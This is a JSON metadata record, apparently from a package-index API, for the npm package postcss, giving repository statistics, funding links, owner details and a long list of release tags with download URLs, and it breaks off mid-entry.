{"id":450,"name":"postcss","ecosystem":"npm","repository_url":"https://github.com/postcss/postcss","issues_count":23759,"created_at":"2025-06-06T15:01:34.635Z","updated_at":"2025-06-06T15:01:34.635Z","purl":"pkg:npm/postcss","metadata":{"id":2182904,"name":"postcss","ecosystem":"npm","description":"Tool for transforming styles with JS plugins","homepage":"https://postcss.org/","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/postcss/postcss","keywords_array":["css","postcss","rework","preprocessor","parser","source map","transform","manipulation","transpiler"],"namespace":null,"versions_count":268,"first_release_published_at":"2013-11-04T20:21:54.720Z","latest_release_published_at":"2025-05-29T05:51:49.879Z","latest_release_number":"8.5.4","last_synced_at":"2025-06-06T06:01:59.408Z","created_at":"2022-04-09T22:09:25.408Z","updated_at":"2025-06-06T06:01:59.408Z","registry_url":"https://www.npmjs.com/package/postcss","install_command":"npm install postcss","documentation_url":null,"metadata":{"funding":[{"type":"opencollective","url":"https://opencollective.com/postcss/"},{"type":"tidelift","url":"https://tidelift.com/funding/github/npm/postcss"},{"type":"github","url":"https://github.com/sponsors/ai"}],"dist-tags":{"latest":"8.5.4"}},"repo_metadata":{"id":10805938,"uuid":"13078968","full_name":"postcss/postcss","owner":"postcss","description":"Transforming styles with JS plugins","archived":false,"fork":false,"pushed_at":"2024-03-21T01:55:07.000Z","size":10616,"stargazers_count":28172,"open_issues_count":17,"forks_count":1535,"subscribers_count":515,"default_branch":"main","last_synced_at":"2024-04-14T02:32:50.357Z","etag":null,"topics":["ast","css","framework","parser","postcss"],"latest_commit_sha":null,"homepage":"https://postcss.org","language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/postcss.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":".github/CONTRIBUTING.md","funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null},"funding":{"open_collective":"postcss","tidelift":"npm/postcss","github":"ai"}},"created_at":"2013-09-24T23:06:48.000Z","updated_at":"2024-07-24T20:40:13.714Z","dependencies_parsed_at":"2023-09-22T07:22:22.698Z","dependency_job_id":"2e210950-0a43-4bfd-a2f9-819e290b7863","html_url":"https://github.com/postcss/postcss","commit_stats":{"total_commits":3538,"total_committers":431,"mean_commits":8.208816705336426,"dds":0.281232334652346,"last_synced_commit":"a69d45ecaeb02fdeef5d53bfd8fc56e3ade1e17e"},"previous_names":[],"tags_count":253,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/postcss","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":212554340,"owners_count":15458513,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"postcss","name":"PostCSS","uuid":"8296347","kind":"organization","description":"PostCSS and plugins based on it","email":"andrey@sitnik.ru","website":"https://postcss.org","location":null,"twitter":"postcss","company":null,"icon_url":"https://avatars.githubusercontent.com/u/8296347?v=4","repositories_count":55,"last_synced_at":"2024-04-15T13:42:05.598Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/postcss","funding_links":[],"total_stars":62758,"followers":282,"following":0,"created_at":"2022-11-02T16:20:38.761Z","updated_at":"2024-04-15T13:42:21.160Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/postcss","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/postcss/repositories"},"tags":[{"name":"8.4.40","sha":"3f84b417fc5a857c7e1fbda1ddd79205b61f3bfa","kind":"tag","published_at":"2024-07-24T19:37:14.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.4.40","html_url":"https://github.com/postcss/postcss/releases/tag/8.4.40","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.40","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.40/manifests"},{"name":"8.4.39","sha":"e0efb168c8a65b42ba10b787857cfa306ba9d48c","kind":"tag","published_at":"2024-06-29T18:21:36.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.4.39","html_url":"https://github.com/postcss/postcss/releases/tag/8.4.39","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.39","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.39/manifests"},{"name":"8.4.38","sha":"a69d45ecaeb02fdeef5d53bfd8fc56e3ade1e17e","kind":"tag","published_at":"2024-03-20T22:55:18.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.4.38","html_url":"https://github.com/postcss/postcss/releases/tag/8.4.38","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.38","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.38/manifests"},{"name":"8.4.37","sha":"49c906ebc05e0196a71e828e23678beae01b47bc","kind":"tag","published_at":"2024-03-19T16:57:17.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.4.37","html_url":"https://github.com/postcss/postcss/releases/tag/8.4.37","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.37","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.37/manifests"},{"name":"8.4.36","sha":"e5ad9394daf38d0ef4acd7065f219b3cddace1df","kind":"tag","published_at":"2024-03-17T20:08:27.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.4.36","html_url":"https://github.com/postcss/postcss/releases/tag/8.4.36","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.36","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.36/manifests"},{"name":"8.4.35","sha":"edda95ec4a0f4595522ab18e913eb851e73d301d","kind":"tag","published_at":"2024-02-07T15:37:13.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.4.35","html_url":"https://github.com/postcss/postcss/releases/tag/8.4.35","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.35","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.35/manifests"},{"name":"8.4.34","sha":"477b3bbb9d3b8d91b37c132661724557beeab63c","kind":"tag","published_at":"2024-02-05T19:21:05.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.4.34","html_url":"https://github.com/postcss/postcss/releases/tag/8.4.34","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.34","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.34/manifests"},{"name":"8.4.33","sha":"ae57d835236838d6120819af26e6480269fab9bb","kind":"tag","published_at":"2024-01-04T19:03:49.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.4.33","html_url":"https://github.com/postcss/postcss/releases/tag/8.4.33","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.33","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.33/manifests"},{"name":"8.4.32","sha":"a0d9f103249a8db24d9f219ef23b05e75c78ee0a","kind":"tag","published_at":"2023-12-02T02:55:32.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.4.32","html_url":"https://github.com/postcss/postcss/releases/tag/8.4.32","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.32","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.32/manifests"},{"name":"8.4.31","sha":"90208de8805dd762596c0028b8637ffbed23e371","kind":"tag","published_at":"2023-09-28T22:14:27.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.4.31","html_url":"https://github.com/postcss/postcss/releases/tag/8.4.31","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.31","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.31/manifests"},{"name":"8.4.30","sha":"45c55017776fc61f7815d1ea8e92d5291ca5d6c8","kind":"tag","published_at":"2023-09-18T21:24:28.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.4.30","html_url":"https://github.com/postcss/postcss/releases/tag/8.4.30","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.30","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.30/manifests"},{"name":"8.4.29","sha":"fee54488fa20b9073053e715548389aa224d5c2e","kind":"tag","published_at":"2023-08-29T17:45:48.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.4.29","html_url":"https://github.com/postcss/postcss/releases/tag/8.4.29","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.29/manifests"},{"name":"8.4.28","sha":"b0efcc0bc5aee44651a97cd648f66448d9bb3d3f","kind":"tag","published_at":"2023-08-15T19:08:29.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.4.28","html_url":"https://github.com/postcss/postcss/releases/tag/8.4.28","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.28","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.28/manifests"},{"name":"8.4.27","sha":"fb4bb8a5772739c87b8dcd2559ebcfeb7ab62483","kind":"tag","published_at":"2023-07-21T11:51:15.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.4.27","html_url":"https://github.com/postcss/postcss/releases/tag/8.4.27","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.27/manifests"},{"name":"8.4.26","sha":"9b05f58f04fae6f3102fc9a8a56199b14ec84239","kind":"tag","published_at":"2023-07-13T19:23:06.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.4.26","html_url":"https://github.com/postcss/postcss/releases/tag/8.4.26","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.26/manifests"},{"name":"8.4.25","sha":"62e8108ffa1accd42a684c8d0dd244f608d7c80c","kind":"tag","published_at":"2023-07-06T11:41:52.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.4.25","html_url":"https://github.com/postcss/postcss/releases/tag/8.4.25","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.25/manifests"},{"name":"8.4.24","sha":"913ef8bc7ebbab274264994b8b2b6026e27475f5","kind":"tag","published_at":"2023-05-28T09:32:26.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.4.24","html_url":"https://github.com/postcss/postcss/releases/tag/8.4.24","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.24/manifests"},{"name":"8.4.23","sha":"aa9e03ea4708909631eba70500c8c0cc0708bb4e","kind":"tag","published_at":"2023-04-19T19:02:46.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.4.23","html_url":"https://github.com/postcss/postcss/releases/tag/8.4.23","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.23/manifests"},{"name":"8.4.22","sha":"7de486096d9a795703dfc537411b3ff94d951bd6","kind":"tag","published_at":"2023-04-16T13:01:31.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.4.22","html_url":"https://github.com/postcss/postcss/releases/tag/8.4.22","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.22/manifests"},{"name":"8.4.21","sha":"32ced0e2b1e5b2524c7a9a790d338fbd43090670","kind":"tag","published_at":"2023-01-06T20:29:07.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.4.21","html_url":"https://github.com/postcss/postcss/releases/tag/8.4.21","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.21/manifests"},{"name":"8.4.20","sha":"1d4c509c114a0dd8270cb5241c5eee7d01f91674","kind":"tag","published_at":"2022-12-11T17:34:42.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.4.20","html_url":"https://github.com/postcss/postcss/releases/tag/8.4.20","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.20/manifests"},{"name":"8.4.19","sha":"c26baf34a7e09787a5f115f3c416583afee6f5e2","kind":"tag","published_at":"2022-11-10T22:57:00.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.4.19","html_url":"https://github.com/postcss/postcss/releases/tag/8.4.19","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.19/manifests"},{"name":"8.4.18","sha":"d33f2725eb36f442feb52c91457d7b7510bdf02f","kind":"tag","published_at":"2022-10-12T19:28:33.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.4.18","html_url":"https://github.com/postcss/postcss/releases/tag/8.4.18","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.18/manifests"},{"name":"8.4.17","sha":"34c0de4017800e1028943257c3ac50ddff5f68bc","kind":"tag","published_at":"2022-09-30T11:29:19.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.4.17","html_url":"https://github.com/postcss/postcss/releases/tag/8.4.17","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.17/manifests"},{"name":"8.4.16","sha":"bc18340b6bcbea43839e56a8b61b939396b487ef","kind":"tag","published_at":"2022-08-06T18:59:36.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.4.16","html_url":"https://github.com/postcss/postcss/releases/tag/8.4.16","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.16/manifests"},{"name":"8.4.15","sha":"8aad149577339aa5d04d8e6026b25b9ea45ea568","kind":"tag","published_at":"2022-08-06T18:25:01.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.4.15","html_url":"https://github.com/postcss/postcss/releases/tag/8.4.15","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.15/manifests"},{"name":"8.4.14","sha":"b7d1836dc8a7511e4cd6b8c840c0b39aff56c4b2","kind":"tag","published_at":"2022-05-18T16:12:35.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.4.14","html_url":"https://github.com/postcss/postcss/releases/tag/8.4.14","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.14/manifests"},{"name":"8.4.13","sha":"80608c6f6e5f04f90fa47dc520969a91e750126d","kind":"tag","published_at":"2022-04-30T00:49:00.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.4.13","html_url":"https://github.com/postcss/postcss/releases/tag/8.4.13","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.13/manifests"},{"name":"8.4.12","sha":"e5c10e009717c14c00b03867344eaefe960968da","kind":"tag","published_at":"2022-03-16T08:37:36.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.4.12","html_url":"https://github.com/postcss/postcss/releases/tag/8.4.12","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.12/manifests"},{"name":"8.4.11","sha":"c689c881209b198e8d41797b76697e5976fe8d52","kind":"tag","published_at":"2022-03-15T18:27:40.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.4.11","html_url":"https://github.com/postcss/postcss/releases/tag/8.4.11","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.11/manifests"},{"name":"8.4.10","sha":"3473443d193d49cff885e0d1a06d5dc5f95b9cdf","kind":"tag","published_at":"2022-03-15T18:17:45.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.4.10","html_url":"https://github.com/postcss/postcss/releases/tag/8.4.10","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.10/manifests"},{"name":"8.4.9","sha":"8ed21bed42816675527b47987fb303226717de9e","kind":"tag","published_at":"2022-03-15T18:07:00.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.4.9","html_url":"https://github.com/postcss/postcss/releases/tag/8.4.9","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.9/manifests"},{"name":"8.4.8","sha":"6f23795b5cee15dcde5eb6433ae691dfec532ccc","kind":"tag","published_at":"2022-03-07T02:09:50.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.4.8","html_url":"https://github.com/postcss/postcss/releases/tag/8.4.8","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.8/manifests"},{"name":"8.4.7","sha":"d533f80b3cb4ef394cc7b523f675828ef7ec8466","kind":"tag","published_at":"2022-02-24T22:06:40.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.4.7","html_url":"https://github.com/postcss/postcss/releases/tag/8.4.7","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.7/manifests"},{"name":"8.4.6","sha":"aa2d16575cbffd5b85d07b8b9f4254bd880ceaf2","kind":"tag","published_at":"2022-02-01T11:35:06.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.4.6","html_url":"https://github.com/postcss/postcss/releases/tag/8.4.6","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.6/manifests"},{"name":"8.4.5","sha":"d3b74351967861e6a197d245ad201218954f7e6e","kind":"tag","published_at":"2021-12-13T00:02:33.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.4.5","html_url":"https://github.com/postcss/postcss/releases/tag/8.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.5/manifests"},{"name":"8.4.4","sha":"2dd468e7a57a89d221927b654af384c322cea8bf","kind":"tag","published_at":"2021-11-27T15:01:04.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.4.4","html_url":"https://github.com/postcss/postcss/releases/tag/8.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.4/manifests"},{"name":"8.4.3","sha":"1f2cde739937358e38985843ad24d30b267a86cf","kind":"tag","published_at":"2021-11-27T15:00:40.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.4.3","html_url":"https://github.com/postcss/postcss/releases/tag/8.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.3/manifests"},{"name":"8.4.2","sha":"a34b6caea59dc60931b5d0006555318f94b1ecf4","kind":"tag","published_at":"2021-11-26T18:44:47.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.4.2","html_url":"https://github.com/postcss/postcss/releases/tag/8.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.2/manifests"},{"name":"8.4.1","sha":"5134979627d04e825eff5a741499339c0d2cfa37","kind":"tag","published_at":"2021-11-24T22:05:15.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.4.1","html_url":"https://github.com/postcss/postcss/releases/tag/8.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.1/manifests"},{"name":"8.4.0","sha":"e72bf87004a8782f5a46a2c7b40c470c0bdd5705","kind":"tag","published_at":"2021-11-24T12:40:15.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.4.0","html_url":"https://github.com/postcss/postcss/releases/tag/8.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.4.0/manifests"},{"name":"8.3.11","sha":"dbb287052c1f570db872563ca98767a9b07e2b1d","kind":"tag","published_at":"2021-10-21T12:43:02.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.3.11","html_url":"https://github.com/postcss/postcss/releases/tag/8.3.11","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.3.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.3.11/manifests"},{"name":"8.3.10","sha":"53611150f875d13631b9a94d7b0cce32a58b3328","kind":"tag","published_at":"2021-10-20T17:46:10.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.3.10","html_url":"https://github.com/postcss/postcss/releases/tag/8.3.10","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.3.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.3.10/manifests"},{"name":"8.3.9","sha":"90777162aaf844510d786e6070879fe861937066","kind":"tag","published_at":"2021-10-04T20:14:16.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.3.9","html_url":"https://github.com/postcss/postcss/releases/tag/8.3.9","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.3.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.3.9/manifests"},{"name":"7.0.39","sha":"e17c1ef7623a71be5732432ca8499bc9928aa08d","kind":"tag","published_at":"2021-10-04T20:10:05.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/7.0.39","html_url":"https://github.com/postcss/postcss/releases/tag/7.0.39","dependencies_parsed_at":null,"dependency_job_